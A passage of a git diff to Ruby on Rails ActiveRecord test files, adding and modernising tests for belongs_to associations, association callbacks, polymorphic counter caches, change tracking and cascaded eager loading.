+  class DestroyableBook < ActiveRecord::Base
+    self.table_name = "books"
+    belongs_to :author, class_name: "UndestroyableAuthor", dependent: :destroy
+  end
+
+  class UndestroyableAuthor < ActiveRecord::Base
+    self.table_name = "authors"
+    has_one :book, class_name: "DestroyableBook", foreign_key: "author_id"
+    before_destroy :dont
+
+    def dont
+      throw(:abort)
+    end
+  end
+
+  def test_dependency_should_halt_parent_destruction
+    author = UndestroyableAuthor.create!(name: "Test")
+    book = DestroyableBook.create!(author: author)
+
+    assert_no_difference ["UndestroyableAuthor.count", "DestroyableBook.count"] do
+      assert_not book.destroy
+    end
+  end
+
+  def test_dependency_should_halt_parent_destruction_with_cascaded_three_levels
+    author = UndestroyableAuthor.create!(name: "Test")
+    book = DestroyableBook.create!(author: author)
+    essay = EssayDestroy.create!(book: book)
+
+    assert_no_difference ["UndestroyableAuthor.count", "DestroyableBook.count", "EssayDestroy.count"] do
+      assert_not essay.destroy
+      assert_not essay.destroyed?
+    end
   end
 
   def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
     new_firm = accounts(:signals37).build_firm(name: "Apple")
-    assert_equal new_firm.name, "Apple"
+    assert_equal "Apple", new_firm.name
   end
 
   def test_attributes_are_set_without_error_when_initialized_from_belongs_to_association_with_array_in_where_clause
@@ -909,31 +1291,69 @@ def test_reassigning_the_parent_id_updates_the_object
     firm_proxy                = client.send(:association_instance_get, :firm)
     firm_with_condition_proxy = client.send(:association_instance_get, :firm_with_condition)
 
-    assert !firm_proxy.stale_target?
-    assert !firm_with_condition_proxy.stale_target?
+    assert_not_predicate firm_proxy, :stale_target?
+    assert_not_predicate firm_with_condition_proxy, :stale_target?
     assert_equal companies(:first_firm), client.firm
     assert_equal companies(:first_firm), client.firm_with_condition
 
     client.client_of = companies(:another_firm).id
 
-    assert firm_proxy.stale_target?
-    assert firm_with_condition_proxy.stale_target?
+    assert_predicate firm_proxy, :stale_target?
+    assert_predicate firm_with_condition_proxy, :stale_target?
     assert_equal companies(:another_firm), client.firm
     assert_equal companies(:another_firm), client.firm_with_condition
   end
 
+  def test_assigning_nil_on_an_association_clears_the_associations_inverse
+    with_has_many_inversing do
+      book = Book.create!
+      citation = book.citations.create!
+
+      assert_same book, citation.book
+
+      assert_nothing_raised do
+        citation.book = nil
+        citation.save!
+      end
+    end
+  end
+
+  def test_clearing_an_association_clears_the_associations_inverse
+    author = Author.create(name: "Jimmy Tolkien")
+    post = author.create_post(title: "The silly medallion", body: "")
+    assert_equal post, author.post
+    assert_equal author, post.author
+
+    author.update!(post: nil)
+    assert_nil author.post
+
+    post.update!(title: "The Silmarillion")
+    assert_nil author.post
+  end
+
+  def test_destroying_child_with_unloaded_parent_and_foreign_key_and_touch_is_possible_with_has_many_inversing
+    with_has_many_inversing do
+      book     = Book.create!
+      citation = book.citations.create!
+
+      assert_difference "Citation.count", -1 do
+        Citation.find(citation.id).destroy
+      end
+    end
+  end
+
   def test_polymorphic_reassignment_of_associated_id_updates_the_object
     sponsor = sponsors(:moustache_club_sponsor_for_groucho)
 
     sponsor.sponsorable
     proxy = sponsor.send(:association_instance_get, :sponsorable)
 
-    assert !proxy.stale_target?
+    assert_not_predicate proxy, :stale_target?
     assert_equal members(:groucho), sponsor.sponsorable
 
     sponsor.sponsorable_id = members(:some_other_guy).id
 
-    assert proxy.stale_target?
+    assert_predicate proxy, :stale_target?
     assert_equal members(:some_other_guy), sponsor.sponsorable
   end
 
@@ -943,12 +1363,12 @@ def test_polymorphic_reassignment_of_associated_type_updates_the_object
     sponsor.sponsorable
     proxy = sponsor.send(:association_instance_get, :sponsorable)
 
-    assert !proxy.stale_target?
+    assert_not_predicate proxy, :stale_target?
     assert_equal members(:groucho), sponsor.sponsorable
 
     sponsor.sponsorable_type = "Firm"
 
-    assert proxy.stale_target?
+    assert_predicate proxy, :stale_target?
     assert_equal companies(:first_firm), sponsor.sponsorable
   end
 
@@ -970,9 +1390,20 @@ def test_polymorphic_counter_cache
     post    = posts(:welcome)
     comment = comments(:greetings)
 
-    assert_difference lambda { post.reload.tags_count }, -1 do
+    assert_equal post.id, comment.id
+
+    assert_difference "post.reload.tags_count", -1 do
       assert_difference "comment.reload.tags_count", +1 do
         tagging.taggable = comment
+        tagging.save!
+      end
+    end
+
+    assert_difference "comment.reload.tags_count", -1 do
+      assert_difference "post.reload.tags_count", +1 do
+        tagging.taggable_type = post.class.polymorphic_name
+        tagging.taggable_id = post.id
+        tagging.save!
       end
     end
   end
@@ -996,6 +1427,61 @@ def test_polymorphic_with_custom_foreign_type
     assert_equal groucho, sponsor.thing
   end
 
+  class WheelPolymorphicName < ActiveRecord::Base
+    self.table_name = "wheels"
+    belongs_to :wheelable, polymorphic: true, counter_cache: :wheels_count, touch: :wheels_owned_at
+
+    def self.polymorphic_class_for(name)
+      raise "Unexpected name: #{name}" unless name == "polymorphic_car"
+      CarPolymorphicName
+    end
+  end
+
+  class CarPolymorphicName < ActiveRecord::Base
+    self.table_name = "cars"
+    has_many :wheels, as: :wheelable
+
+    def self.polymorphic_name
+      "polymorphic_car"
+    end
+  end
+
+  def test_polymorphic_with_custom_name_counter_cache
+    car = CarPolymorphicName.create!
+    wheel = WheelPolymorphicName.create!(wheelable_type: "polymorphic_car", wheelable_id: car.id)
+    assert_equal 1, car.reload.wheels_count
+
+    wheel.update! wheelable: nil
+
+    assert_equal 0, car.reload.wheels_count
+  end
+
+  def test_polymorphic_with_custom_name_touch_old_belongs_to_model
+    car = CarPolymorphicName.create!
+    wheel = WheelPolymorphicName.create!(wheelable: car)
+
+    touch_time = 1.day.ago.round
+    travel_to(touch_time) do
+      wheel.update!(wheelable: nil)
+    end
+
+    assert_equal touch_time, car.reload.wheels_owned_at
+  end
+
+  def test_polymorphic_stale_state_handles_nil_foreign_keys_correctly
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "records"
+
+      has_one :attachment, as: :record
+
+      def self.polymorphic_name
+        "Blob"
+      end
+    end
+
+    assert_nothing_raised { Attachment.create!(record: klass.build, record_type: "Document") }
+  end
+
   def test_build_with_conditions
     client = companies(:second_client)
     firm   = client.build_bob_firm
@@ -1052,6 +1538,31 @@ def test_should_set_foreign_key_on_create_association!
     assert_equal firm.id, client.client_of
   end
 
+  def test_should_set_foreign_key_on_create_association_with_unpersisted_owner
+    tagging = Tagging.new
+    tag = tagging.create_tag
+
+    assert_not_predicate tagging, :persisted?
+    assert_predicate tag, :persisted?
+    assert_equal tag.id, tagging.tag_id
+  end
+
+  def test_should_set_foreign_key_on_save
+    client = Client.create! name: "fuu"
+    firm   = client.build_firm name: "baa"
+
+    firm.save
+    assert_equal firm.id, client.client_of
+  end
+
+  def test_should_set_foreign_key_on_save!
+    client = Client.create! name: "fuu"
+    firm   = client.build_firm name: "baa"
+
+    firm.save!
+    assert_equal firm.id, client.client_of
+  end
+
   def test_self_referential_belongs_to_with_counter_cache_assigning_nil
     comment = Comment.create! post: posts(:thinking), body: "fuu"
     comment.parent = nil
@@ -1073,17 +1584,17 @@ def test_belongs_to_with_id_assigning
   end
 
   def test_belongs_to_with_out_of_range_value_assigning
-    model = Class.new(Comment) do
+    model = Class.new(Author) do
       def self.name; "Temp"; end
-      validates :post, presence: true
+      validates :author_address, presence: true
     end
 
-    comment = model.new
-    comment.post_id = 9223372036854775808 # out of range in the bigint
+    author = model.new
+    author.author_address_id = 9223372036854775808 # out of range in the bigint
 
-    assert_nil comment.post
-    assert_not comment.valid?
-    assert_equal [{ error: :blank }], comment.errors.details[:post]
+    assert_nil author.author_address
+    assert_not_predicate author, :valid?
+    assert_equal [{ error: :blank }], author.errors.details[:author_address]
   end
 
   def test_polymorphic_with_custom_primary_key
@@ -1093,6 +1604,30 @@ def test_polymorphic_with_custom_primary_key
     assert_equal toy, sponsor.reload.sponsorable
   end
 
+  class SponsorWithTouchInverse < Sponsor
+    belongs_to :sponsorable, polymorphic: true, inverse_of: :sponsors, touch: true
+  end
+
+  def test_destroying_polymorphic_child_with_unloaded_parent_and_touch_is_possible_with_has_many_inversing
+    with_has_many_inversing do
+      toy     = Toy.create!
+      sponsor = toy.sponsors.create!
+
+      assert_difference "Sponsor.count", -1 do
+        SponsorWithTouchInverse.find(sponsor.id).destroy
+      end
+    end
+  end
+
+  def test_polymorphic_with_false
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base) do
+        def self.name; "Post"; end
+        belongs_to :category, polymorphic: false
+      end
+    end
+  end
+
   test "stale tracking doesn't care about the type" do
     apple = Firm.create("name" => "Apple")
     citibank = Account.create("credit_limit" => 10)
@@ -1102,7 +1637,7 @@ def test_polymorphic_with_custom_primary_key
 
     citibank.firm_id = apple.id.to_s
 
-    assert !citibank.association(:firm).stale_target?
+    assert_not_predicate citibank.association(:firm), :stale_target?
   end
 
   def test_reflect_the_most_recent_change
@@ -1131,6 +1666,212 @@ def test_reflect_the_most_recent_change
     Column.create! record: record
     assert_equal 1, Column.count
   end
+
+  def test_multiple_counter_cache_with_after_create_update
+    post = posts(:welcome)
+    parent = comments(:greetings)
+
+    assert_difference "parent.reload.children_count", +1 do
+      assert_difference "post.reload.comments_count", +1 do
+        CommentWithAfterCreateUpdate.create(body: "foo", post: post, parent: parent)
+      end
+    end
+  end
+
+  test "assigning an association doesn't result in duplicate objects" do
+    post = Post.create!(title: "title", body: "body")
+    post.comments = [post.comments.build(body: "body")]
+    post.save!
+
+    assert_equal 1, post.comments.size
+    assert_equal 1, Comment.where(post_id: post.id).count
+    assert_equal post.id, Comment.last.post.id
+  end
+
+  test "tracking change from one persisted record to another" do
+    node = nodes(:child_one_of_a)
+    assert_not_nil node.parent
+    assert_not node.parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.parent = nodes(:grandparent)
+    assert_predicate node, :parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.save!
+    assert_not node.parent_changed?
+    assert_predicate node, :parent_previously_changed?
+  end
+
+  test "tracking change from persisted record to new record" do
+    node = nodes(:child_one_of_a)
+    assert_not_nil node.parent
+    assert_not node.parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.parent = Node.new(tree: node.tree, parent: nodes(:parent_a), name: "Child three")
+    assert_predicate node, :parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.save!
+    assert_not node.parent_changed?
+    assert_predicate node, :parent_previously_changed?
+  end
+
+  test "tracking change from persisted record to nil" do
+    node = nodes(:child_one_of_a)
+    assert_not_nil node.parent
+    assert_not node.parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.parent = nil
+    assert_predicate node, :parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.save!
+    assert_not node.parent_changed?
+    assert_predicate node, :parent_previously_changed?
+  end
+
+  test "tracking change from nil to persisted record" do
+    node = nodes(:grandparent)
+    assert_nil node.parent
+    assert_not node.parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.parent = Node.create!(tree: node.tree, name: "Great-grandparent")
+    assert_predicate node, :parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.save!
+    assert_not node.parent_changed?
+    assert_predicate node, :parent_previously_changed?
+  end
+
+  test "tracking change from nil to new record" do
+    node = nodes(:grandparent)
+    assert_nil node.parent
+    assert_not node.parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.parent = Node.new(tree: node.tree, name: "Great-grandparent")
+    assert_predicate node, :parent_changed?
+    assert_not node.parent_previously_changed?
+
+    node.save!
+    assert_not node.parent_changed?
+    assert_predicate node, :parent_previously_changed?
+  end
+
+  test "tracking polymorphic changes" do
+    comment = comments(:greetings)
+    assert_nil comment.author
+    assert_not comment.author_changed?
+    assert_not comment.author_previously_changed?
+
+    comment.author = authors(:david)
+    assert_predicate comment, :author_changed?
+
+    comment.save!
+    assert_not comment.author_changed?
+    assert_predicate comment, :author_previously_changed?
+
+    assert_equal authors(:david).id, companies(:first_firm).id
+
+    comment.author = companies(:first_firm)
+    assert_predicate comment, :author_changed?
+
+    comment.save!
+    assert_not comment.author_changed?
+    assert_predicate comment, :author_previously_changed?
+  end
+
+  class ShipRequired < ActiveRecord::Base
+    self.table_name = "ships"
+    belongs_to :developer, required: true
+  end
+
+  test "runs parent presence check if parent changed or nil" do
+    david = developers(:david)
+    jamis = developers(:jamis)
+
+    ship = ShipRequired.create!(name: "Medusa", developer: david)
+    assert_equal david, ship.developer
+
+    assert_queries_count(4) do # UPDATE and SELECT to check developer presence
+      ship.update!(developer_id: jamis.id)
+    end
+
+    ship.update_column(:developer_id, nil)
+    ship.reload
+
+    assert_queries_count(4) do # UPDATE and SELECT to check developer presence
+      ship.update!(developer_id: david.id)
+    end
+  end
+
+  test "skips parent presence check if parent has not changed" do
+    david = developers(:david)
+    ship = ShipRequired.create!(name: "Medusa", developer: david)
+    ship.reload # unload developer association
+
+    assert_queries_count(3) do # UPDATE only, no SELECT to check developer presence
+      ship.update!(name: "Leviathan")
+    end
+  end
+
+  test "runs parent presence check if parent has not changed and belongs_to_required_validates_foreign_key is set" do
+    original_value = ActiveRecord.belongs_to_required_validates_foreign_key
+    ActiveRecord.belongs_to_required_validates_foreign_key = true
+
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ships"
+      def self.name; "Temp"; end
+      belongs_to :developer, required: true
+    end
+
+    david = developers(:david)
+    ship = model.create!(name: "Medusa", developer: david)
+    ship.reload # unload developer association
+
+    assert_queries_count(4) do # UPDATE and SELECT to check developer presence
+      ship.update!(name: "Leviathan")
+    end
+  ensure
+    ActiveRecord.belongs_to_required_validates_foreign_key = original_value
+  end
+
+  test "composite primary key malformed association class" do
+    error = assert_raises(ActiveRecord::CompositePrimaryKeyMismatchError) do
+      book = Cpk::BrokenBook.new(title: "Some book", order: Cpk::Order.new(id: [1, 2]))
+      book.save!
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+      Association Cpk::BrokenBook#order primary key ["shop_id", "status"]
+      doesn't match with foreign key order_id. Please specify query_constraints, or primary_key and foreign_key values.
+    MESSAGE
+  end
+
+  test "composite primary key malformed association owner class" do
+    error = assert_raises(ActiveRecord::CompositePrimaryKeyMismatchError) do
+      book = Cpk::BrokenBookWithNonCpkOrder.new(title: "Some book", order: Cpk::NonCpkOrder.new(id: 1))
+      book.save!
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+      Association Cpk::BrokenBookWithNonCpkOrder#order primary key ["id"]
+      doesn't match with foreign key ["shop_id", "order_id"]. Please specify query_constraints, or primary_key and foreign_key values.
+    MESSAGE
+  end
+
+  test "association with query constraints assigns id on replacement" do
+    book = Cpk::NonCpkBook.create!(id: 1, author_id: 2, non_cpk_order: Cpk::NonCpkOrder.new)
+    other_order = Cpk::NonCpkOrder.create!
+    book.non_cpk_order = other_order
+
+    assert_equal(other_order.id, book.order_id)
+  end
 end
 
 class BelongsToWithForeignKeyTest < ActiveRecord::TestCase
@@ -1141,5 +1882,210 @@ def test_destroy_linked_models
     author = Author.create! name: "Author", author_address_id: address.id
 
     author.destroy!
+
+    assert_not AuthorAddress.exists?(address.id)
+    assert_not Author.exists?(author.id)
+  end
+end
+
+class AsyncBelongsToAssociationsTest < ActiveRecord::TestCase
+  include WaitForAsyncTestHelper
+
+  self.use_transactional_tests = false
+
+  fixtures :companies
+
+  unless in_memory_db?
+    def test_async_load_belongs_to
+      client = Client.find(3)
+      first_firm = companies(:first_firm)
+
+      client.association(:firm).async_load_target
+      wait_for_async_query
+
+      events = []
+      callback = -> (event) do
+        events << event unless event.payload[:name] == "SCHEMA"
+      end
+      ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+        client.firm
+      end
+
+      assert_no_queries do
+        assert_equal first_firm, client.firm
+        assert_equal first_firm.name, client.firm.name
+      end
+
+      assert_equal 1, events.size
+      assert_equal true, events.first.payload[:async]
+    end
+  end
+end
+
+class DeprecatedBelongsToAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :cars
+
+  def modify_car_name_directly_in_the_database(car)
+    new_name = "#{car.name} edited"
+    DATS::Car.connection.execute("UPDATE cars SET name = '#{new_name}'")
+    new_name
+  end
+
+  setup do
+    @model = DATS::Bulb
+    @car = DATS::Car.first
+    @bulb = @car.create_bulb!(name: "for belongs_to deprecated test suite")
+  end
+
+  test "<association>" do
+    assert_not_deprecated_association(:car) do
+      @bulb.car
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:deprecated_car)) do
+      assert_equal @car, @bulb.deprecated_car
+    end
+  end
+
+  test "<association>=" do
+    car = DATS::Car.new
+
+    assert_not_deprecated_association(:car) do
+      @bulb.car = car
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:deprecated_car=)) do
+      @bulb.deprecated_car = car
+    end
+    assert_same car, @bulb.deprecated_car
+  end
+
+  test "reload_<association>" do
+    assert_not_deprecated_association(:car) do
+      @bulb.reload_car
+    end
+
+    deprecated_car = @bulb.deprecated_car # caches the associated object
+    new_name = modify_car_name_directly_in_the_database(deprecated_car)
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:reload_deprecated_car)) do
+      assert_equal new_name, @bulb.reload_deprecated_car.name
+    end
+  end
+
+  test "reset_<association>" do
+    assert_not_deprecated_association(:car) do
+      @bulb.reset_car
+    end
+
+    deprecated_car = @bulb.deprecated_car # caches the associated object
+    new_name = modify_car_name_directly_in_the_database(deprecated_car)
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:reset_deprecated_car)) do
+      @bulb.reset_deprecated_car
+    end
+
+    assert_equal new_name, @bulb.deprecated_car.name
+  end
+
+  test "build_<association>" do
+    assert_not_deprecated_association(:car) do
+      @bulb.build_car
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:build_deprecated_car)) do
+      assert_instance_of DATS::Car, @bulb.build_deprecated_car
+    end
+  end
+
+  test "create_<association>" do
+    assert_not_deprecated_association(:car) do
+      @bulb.create_car
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:create_deprecated_car)) do
+      assert_predicate @bulb.create_deprecated_car, :persisted?
+    end
+  end
+
+  test "create_<association>!" do
+    assert_not_deprecated_association(:car) do
+      @bulb.create_car!
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:create_deprecated_car!)) do
+      assert_predicate @bulb.create_deprecated_car!, :persisted?
+    end
+  end
+
+  test "<association>_changed?" do
+    assert_not_deprecated_association(:car) do
+      @bulb.car_changed?
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:deprecated_car_changed?)) do
+      assert_not_predicate @bulb, :deprecated_car_changed?
+    end
+  end
+
+  test "<association>_previously_changed?" do
+    assert_not_deprecated_association(:car) do
+      @bulb.car_previously_changed?
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_method(:deprecated_car_previously_changed?)) do
+      assert_predicate @bulb, :deprecated_car_previously_changed?
+    end
+  end
+
+  test "parent destroy (not deprecated)" do
+    assert_not_deprecated_association(:car) do
+      @bulb.destroy
+    end
+    assert_predicate @car, :destroyed?
+  end
+
+  test "parent destroy (deprecated)" do
+    assert_deprecated_association(:deprecated_car, context: context_for_dependent) do
+      @bulb.destroy
+    end
+    assert_predicate @car, :destroyed?
+  end
+
+  test "touch notifies on creation (not deprecated)" do
+    assert_not_deprecated_association(:car) do
+      @car.create_bulb!(name: "for belongs_to deprecated test suite")
+    end
+  end
+
+  test "touch notifies on creation (deprecated)" do
+    assert_deprecated_association(:deprecated_car, context: context_for_touch) do
+      @car.create_bulb!(name: "for belongs_to deprecated test suite")
+    end
+  end
+
+  test "touch notifies on update" do
+    assert_not_deprecated_association(:car) do
+      @bulb.update(name: "#{@bulb.name} edited")
+    end
+
+    assert_deprecated_association(:deprecated_car, context: context_for_touch) do
+      assert @bulb.update(name: "#{@bulb.name} again")
+    end
+  end
+
+  test "touch notifies on destroy (not deprecated)" do
+    assert_not_deprecated_association(:car) do
+      @bulb.destroy
+    end
+    assert_predicate @car, :destroyed?
+  end
+
+  test "touch notifies on destroy (deprecated)" do
+    assert_deprecated_association(:deprecated_car, context: context_for_touch) do
+      @bulb.destroy
+    end
+    assert_predicate @car, :destroyed?
   end
 end
diff --git a/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb b/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb
index 8a0e041864660..7c621177eea11 100644
--- a/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb
+++ b/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/content"
 
@@ -36,6 +38,6 @@ def test_bidirectional_dependence_when_destroying_item_with_has_one_association_
 
     2.times { content.destroy }
 
-    assert_equal content.destroyed?, true
+    assert_equal true, content.destroyed?
   end
 end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
index 5fd2411f6f36f..a5c9f900257bc 100644
--- a/activerecord/test/cases/associations/callbacks_test.rb
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/author"
@@ -7,13 +9,13 @@
 require "models/company"
 
 class AssociationCallbacksTest < ActiveRecord::TestCase
-  fixtures :posts, :authors, :projects, :developers
+  fixtures :posts, :authors, :author_addresses, :projects, :developers
 
   def setup
     @david = authors(:david)
     @thinking = posts(:thinking)
     @authorless = posts(:authorless)
-    assert @david.post_log.empty?
+    assert_empty @david.post_log
   end
 
   def test_adding_macro_callbacks
@@ -60,6 +62,23 @@ def test_multiple_callbacks
                   "after_adding#{@thinking.id}", "after_adding_proc#{@thinking.id}"], @david.post_log
   end
 
+  def test_has_many_callbacks_halt_execution_when_abort_is_trown_when_adding_to_association
+    author = Author.create!(name: "Roger")
+    post = Post.create!(title: "hello", body: "abc")
+    author.posts_with_thrown_callbacks << post
+
+    assert_empty(author.posts_with_callbacks)
+  end
+
+  def test_has_many_callbacks_halt_execution_when_abort_is_trown_when_removing_from_association
+    author = Author.create!(name: "Roger")
+    post = Post.create!(title: "hello", body: "abc", author: author)
+
+    assert_equal(1, author.posts_with_thrown_callbacks.size)
+    author.posts_with_thrown_callbacks.destroy(post.id)
+    assert_equal(1, author.posts_with_thrown_callbacks.size)
+  end
+
   def test_has_many_callbacks_with_create
     morten = Author.create name: "Morten"
     post = morten.posts_with_proc_callbacks.create! title: "Hello", body: "How are you doing?"
@@ -94,7 +113,7 @@ def test_has_many_callbacks_for_destroy_on_parent
   def test_has_and_belongs_to_many_add_callback
     david = developers(:david)
     ar = projects(:active_record)
-    assert ar.developers_log.empty?
+    assert_empty ar.developers_log
     ar.developers_with_callbacks << david
     assert_equal ["before_adding#{david.id}", "after_adding#{david.id}"], ar.developers_log
     ar.developers_with_callbacks << david
@@ -120,15 +139,15 @@ def self.name; Project.name; end
     assert_equal alice, dev
     assert_not_nil new_dev
     assert new_dev, "record should not have been saved"
-    assert_not alice.new_record?
+    assert_not_predicate alice, :new_record?
   end
 
   def test_has_and_belongs_to_many_after_add_called_after_save
     ar = projects(:active_record)
-    assert ar.developers_log.empty?
+    assert_empty ar.developers_log
     alice = Developer.new(name: "alice")
     ar.developers_with_callbacks << alice
-    assert_equal"after_adding#{alice.id}", ar.developers_log.last
+    assert_equal "after_adding#{alice.id}", ar.developers_log.last
 
     bob = ar.developers_with_callbacks.create(name: "bob")
     assert_equal "after_adding#{bob.id}", ar.developers_log.last
@@ -141,7 +160,7 @@ def test_has_and_belongs_to_many_remove_callback
     david = developers(:david)
     jamis = developers(:jamis)
     activerecord = projects(:active_record)
-    assert activerecord.developers_log.empty?
+    assert_empty activerecord.developers_log
     activerecord.developers_with_callbacks.delete(david)
     assert_equal ["before_removing#{david.id}", "after_removing#{david.id}"], activerecord.developers_log
 
@@ -152,7 +171,7 @@ def test_has_and_belongs_to_many_remove_callback
 
   def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear
     activerecord = projects(:active_record)
-    assert activerecord.developers_log.empty?
+    assert_empty activerecord.developers_log
     if activerecord.developers_with_callbacks.size == 0
       activerecord.developers << developers(:david)
       activerecord.developers << developers(:jamis)
@@ -161,10 +180,10 @@ def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear
     end
     activerecord.developers_with_callbacks.flat_map { |d| ["before_removing#{d.id}", "after_removing#{d.id}"] }.sort
     assert activerecord.developers_with_callbacks.clear
-    assert_predicate activerecord.developers_log, :empty?
+    assert_empty activerecord.developers_log
   end
 
-  def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
+  def test_has_and_belongs_to_many_callbacks_for_save_on_parent
     project = Project.new name: "Callbacks"
     project.developers_with_callbacks.build name: "Jack", salary: 95000
 
@@ -181,7 +200,7 @@ def test_dont_add_if_before_callback_raises_exception
       @david.unchangeable_posts << @authorless
     rescue Exception
     end
-    assert @david.post_log.empty?
+    assert_empty @david.post_log
     assert_not_includes @david.unchangeable_posts, @authorless
     @david.reload
     assert_not_includes @david.unchangeable_posts, @authorless
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index ddb5c7a4aaf8d..488e26a2afd57 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
@@ -12,40 +14,34 @@
 require "models/edge"
 
 class CascadedEagerLoadingTest < ActiveRecord::TestCase
-  fixtures :authors, :mixins, :companies, :posts, :topics, :accounts, :comments,
+  fixtures :authors, :author_addresses, :mixins, :companies, :posts, :topics, :accounts, :comments,
            :categorizations, :people, :categories, :edges, :vertices
 
   def test_eager_association_loading_with_cascaded_two_levels
-    authors = Author.all.merge!(includes: { posts: :comments }, order: "authors.id").to_a
+    authors = Author.includes(posts: :comments).order(:id).to_a
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
-    assert_equal 10, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
+    assert_equal 11, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_and_one_level
-    authors = Author.all.merge!(includes: [{ posts: :comments }, :categorizations], order: "authors.id").to_a
+    authors = Author.includes({ posts: :comments }, :categorizations).order(:id).to_a
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
-    assert_equal 10, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
+    assert_equal 11, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
     assert_equal 1, authors[0].categorizations.size
     assert_equal 2, authors[1].categorizations.size
   end
 
   def test_eager_association_loading_with_hmt_does_not_table_name_collide_when_joining_associations
-    assert_nothing_raised do
-      Author.joins(:posts).eager_load(:comments).where(posts: { tags_count: 1 }).to_a
-    end
-    authors = Author.joins(:posts).eager_load(:comments).where(posts: { tags_count: 1 }).to_a
-    assert_equal 1, assert_no_queries { authors.size }
-    assert_equal 10, assert_no_queries { authors[0].comments.size }
+    authors = Author.joins(:posts).eager_load(:comments).where(posts: { tags_count: 1 }).order(:id).to_a
+    assert_equal 3, assert_queries_count(0) { authors.size }
+    assert_equal 11, assert_queries_count(0) { authors[0].comments.size }
   end
 
   def test_eager_association_loading_grafts_stashed_associations_to_correct_parent
-    assert_nothing_raised do
-      Person.eager_load(primary_contact: :primary_contact).where("primary_contacts_people_2.first_name = ?", "Susan").order("people.id").to_a
-    end
     assert_equal people(:michael), Person.eager_load(primary_contact: :primary_contact).where("primary_contacts_people_2.first_name = ?", "Susan").order("people.id").first
   end
 
@@ -78,7 +74,18 @@ def test_eager_association_loading_with_join_for_count
     authors = Author.joins(:special_posts).includes([:posts, :categorizations])
 
     assert_nothing_raised { authors.count }
-    assert_queries(3) { authors.to_a }
+    assert_queries_count(3) { authors.to_a }
+  end
+
+  def test_eager_association_loading_with_nil_associations
+    authors = Author.includes(nil).to_a
+    assert_equal 3, authors.size
+
+    authors = Author.includes([:posts, nil]).to_a
+    assert_equal 3, authors.size
+
+    authors = Author.includes(posts: nil).to_a
+    assert_equal 3, authors.size
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations
@@ -86,7 +93,7 @@ def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_as
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
-    assert_equal 10, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
+    assert_equal 11, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_and_self_table_reference
@@ -105,28 +112,27 @@ def test_eager_association_loading_with_cascaded_two_levels_with_condition
 
   def test_eager_association_loading_with_cascaded_three_levels_by_ping_pong
     firms = Firm.all.merge!(includes: { account: { firm: :account } }, order: "companies.id").to_a
-    assert_equal 2, firms.size
+    assert_equal 3, firms.size
     assert_equal firms.first.account, firms.first.account.firm.account
-    assert_equal companies(:first_firm).account, assert_no_queries { firms.first.account.firm.account }
-    assert_equal companies(:first_firm).account.firm.account, assert_no_queries { firms.first.account.firm.account }
+    assert_equal companies(:first_firm).account, assert_queries_count(0) { firms.first.account.firm.account }
+    assert_equal companies(:first_firm).account.firm.account, assert_queries_count(0) { firms.first.account.firm.account }
   end
 
   def test_eager_association_loading_with_has_many_sti
     topics = Topic.all.merge!(includes: :replies, order: "topics.id").to_a
